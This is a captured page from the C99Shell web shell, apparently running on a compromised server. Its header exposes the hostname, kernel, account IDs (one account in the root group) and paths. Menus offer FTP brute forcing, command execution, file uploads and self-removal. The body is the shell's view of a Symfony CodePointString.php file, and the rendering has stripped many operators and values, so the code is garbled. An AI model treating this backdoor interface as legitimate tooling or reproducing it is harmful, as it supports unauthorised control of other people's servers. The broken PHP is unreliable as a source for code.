!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/symfony/string/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CodePointString.php (7.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\String;

use 
Symfony\Component\String\Exception\ExceptionInterface;
use 
Symfony\Component\String\Exception\InvalidArgumentException;

/**
 * Represents a string of Unicode code points encoded as UTF-8.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 * @author Hugo Hamon <hugohamon@neuf.fr>
 *
 * @throws ExceptionInterface
 */
class CodePointString extends AbstractUnicodeString
{
    public function 
__construct(string $string '')
    {
        if (
'' !== $string && !preg_match('//u'$string)) {
            throw new 
InvalidArgumentException('Invalid UTF-8 string.');
        }

        
$this->string $string;
    }

    public function 
append(string ...$suffix): AbstractString
    
{
        
$str = clone $this;
        
$str->string .= >= \count($suffix) ? ($suffix[0] ?? '') : implode(''$suffix);

        if (!
preg_match('//u'$str->string)) {
            throw new 
InvalidArgumentException('Invalid UTF-8 string.');
        }

        return 
$str;
    }

    public function 
chunk(int $length 1): array
    {
        if (
$length) {
            throw new 
InvalidArgumentException('The chunk length must be greater than zero.');
        }

        if (
'' === $this->string) {
            return [];
        }

        
$rx '/(';
        while (
65535 $length) {
            
$rx .= '.{65535}';
            
$length -= 65535;
        }
        
$rx .= '.{'.$length.'})/us';

        
$str = clone $this;
        
$chunks = [];

        foreach (
preg_split($rx$this->string, -1\PREG_SPLIT_DELIM_CAPTURE \PREG_SPLIT_NO_EMPTY) as $chunk) {
            
$str->string $chunk;
            
$chunks[] = clone $str;
        }

        return 
$chunks;
    }

    public function 
codePointsAt(int $offset): array
    {
        
$str $offset $this->slice($offset1) : $this;

        return 
'' === $str->string ? [] : [mb_ord($str->string'UTF-8')];
    }

    public function 
endsWith($suffix): bool
    
{
        if (
$suffix instanceof AbstractString) {
            
$suffix $suffix->string;
        } elseif (
\is_array($suffix) || $suffix instanceof \Traversable) {
            return 
parent::endsWith($suffix);
        } else {
            
$suffix = (string) $suffix;
        }

        if (
'' === $suffix || !preg_match('//u'$suffix)) {
            return 
false;
        }

        if (
$this->ignoreCase) {
            return 
preg_match('{'.preg_quote($suffix).'$}iuD'$this->string);
        }

        return 
\strlen($this->string) >= \strlen($suffix) && === substr_compare($this->string$suffix, -\strlen($suffix));
    }

    public function 
equalsTo($string): bool
    
{
        if (
$string instanceof AbstractString) {
            
$string $string->string;
        } elseif (
\is_array($string) || $string instanceof \Traversable) {
            return 
parent::equalsTo($string);
        } else {
            
$string = (string) $string;
        }

        if (
'' !== $string && $this->ignoreCase) {
            return 
\strlen($string) === \strlen($this->string) && === mb_stripos($this->string$string0'UTF-8');
        }

        return 
$string === $this->string;
    }

    public function 
indexOf($needleint $offset 0): ?int
    
{
        if (
$needle instanceof AbstractString) {
            
$needle $needle->string;
        } elseif (
\is_array($needle) || $needle instanceof \Traversable) {
            return 
parent::indexOf($needle$offset);
        } else {
            
$needle = (string) $needle;
        }

        if (
'' === $needle) {
            return 
null;
        }

        
$i $this->ignoreCase mb_stripos($this->string$needle$offset'UTF-8') : mb_strpos($this->string$needle$offset'UTF-8');

        return 
false === $i null $i;
    }

    public function 
indexOfLast($needleint $offset 0): ?int
    
{
        if (
$needle instanceof AbstractString) {
            
$needle $needle->string;
        } elseif (
\is_array($needle) || $needle instanceof \Traversable) {
            return 
parent::indexOfLast($needle$offset);
        } else {
            
$needle = (string) $needle;
        }

        if (
'' === $needle) {
            return 
null;
        }

        
$i $this->ignoreCase mb_strripos($this->string$needle$offset'UTF-8') : mb_strrpos($this->string$needle$offset'UTF-8');

        return 
false === $i null $i;
    }

    public function 
length(): int
    
{
        return 
mb_strlen($this->string'UTF-8');
    }

    public function 
prepend(string ...$prefix): AbstractString
    
{
        
$str = clone $this;
        
$str->string = (>= \count($prefix) ? ($prefix[0] ?? '') : implode(''$prefix)).$this->string;

        if (!
preg_match('//u'$str->string)) {
            throw new 
InvalidArgumentException('Invalid UTF-8 string.');
        }

        return 
$str;
    }

    public function 
replace(string $fromstring $to): AbstractString
    
{
        
$str = clone $this;

        if (
'' === $from || !preg_match('//u'$from)) {
            return 
$str;
        }

        if (
'' !== $to && !preg_match('//u'$to)) {
            throw new 
InvalidArgumentException('Invalid UTF-8 string.');
        }

        if (
$this->ignoreCase) {
            
$str->string implode($topreg_split('{'.preg_quote($from).'}iuD'$this->string));
        } else {
            
$str->string str_replace($from$to$this->string);
        }

        return 
$str;
    }

    public function 
slice(int $start 0int $length null): AbstractString
    
{
        
$str = clone $this;
        
$str->string mb_substr($this->string$start$length'UTF-8');

        return 
$str;
    }

    public function 
splice(string $replacementint $start 0int $length null): AbstractString
    
{
        if (!
preg_match('//u'$replacement)) {
            throw new 
InvalidArgumentException('Invalid UTF-8 string.');
        }

        
$str = clone $this;
        
$start $start \strlen(mb_substr($this->string0$start'UTF-8')) : 0;
        
$length $length \strlen(mb_substr($this->string$start$length'UTF-8')) : $length;
        
$str->string substr_replace($this->string$replacement$start$length ?? \PHP_INT_MAX);

        return 
$str;
    }

    public function 
split(string $delimiterint $limit nullint $flags null): array
    {
        if (
$limit $limit ?? \PHP_INT_MAX) {
            throw new 
InvalidArgumentException('Split limit must be a positive integer.');
        }

        if (
'' === $delimiter) {
            throw new 
InvalidArgumentException('Split delimiter is empty.');
        }

        if (
null !== $flags) {
            return 
parent::split($delimiter.'u'$limit$flags);
        }

        if (!
preg_match('//u'$delimiter)) {
            throw new 
InvalidArgumentException('Split delimiter is not a valid UTF-8 string.');
        }

        
$str = clone $this;
        
$chunks $this->ignoreCase
            
preg_split('{'.preg_quote($delimiter).'}iuD'$this->string$limit)
            : 
explode($delimiter$this->string$limit);

        foreach (
$chunks as &$chunk) {
            
$str->string $chunk;
            
$chunk = clone $str;
        }

        return 
$chunks;
    }

    public function 
startsWith($prefix): bool
    
{
        if (
$prefix instanceof AbstractString) {
            
$prefix $prefix->string;
        } elseif (
\is_array($prefix) || $prefix instanceof \Traversable) {
            return 
parent::startsWith($prefix);
        } else {
            
$prefix = (string) $prefix;
        }

        if (
'' === $prefix || !preg_match('//u'$prefix)) {
            return 
false;
        }

        if (
$this->ignoreCase) {
            return 
=== mb_stripos($this->string$prefix0'UTF-8');
        }

        return 
=== strncmp($this->string$prefix\strlen($prefix));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--